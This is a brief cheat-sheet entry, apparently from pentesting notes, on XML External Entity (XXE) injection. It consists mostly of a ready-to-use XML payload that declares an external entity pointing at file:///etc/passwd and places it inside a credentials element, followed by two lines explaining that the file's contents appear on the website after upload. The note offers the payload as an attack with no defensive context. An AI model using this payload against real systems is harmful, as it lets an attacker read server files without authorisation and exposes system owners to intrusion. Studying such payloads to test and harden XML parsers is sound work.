XXE - External Entities Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds><user>&xxe;</user><password>pass</password></creds>

xxe grabs the content of file:///etc/passwd

then we reference it in &xxe; to make it display on website after upload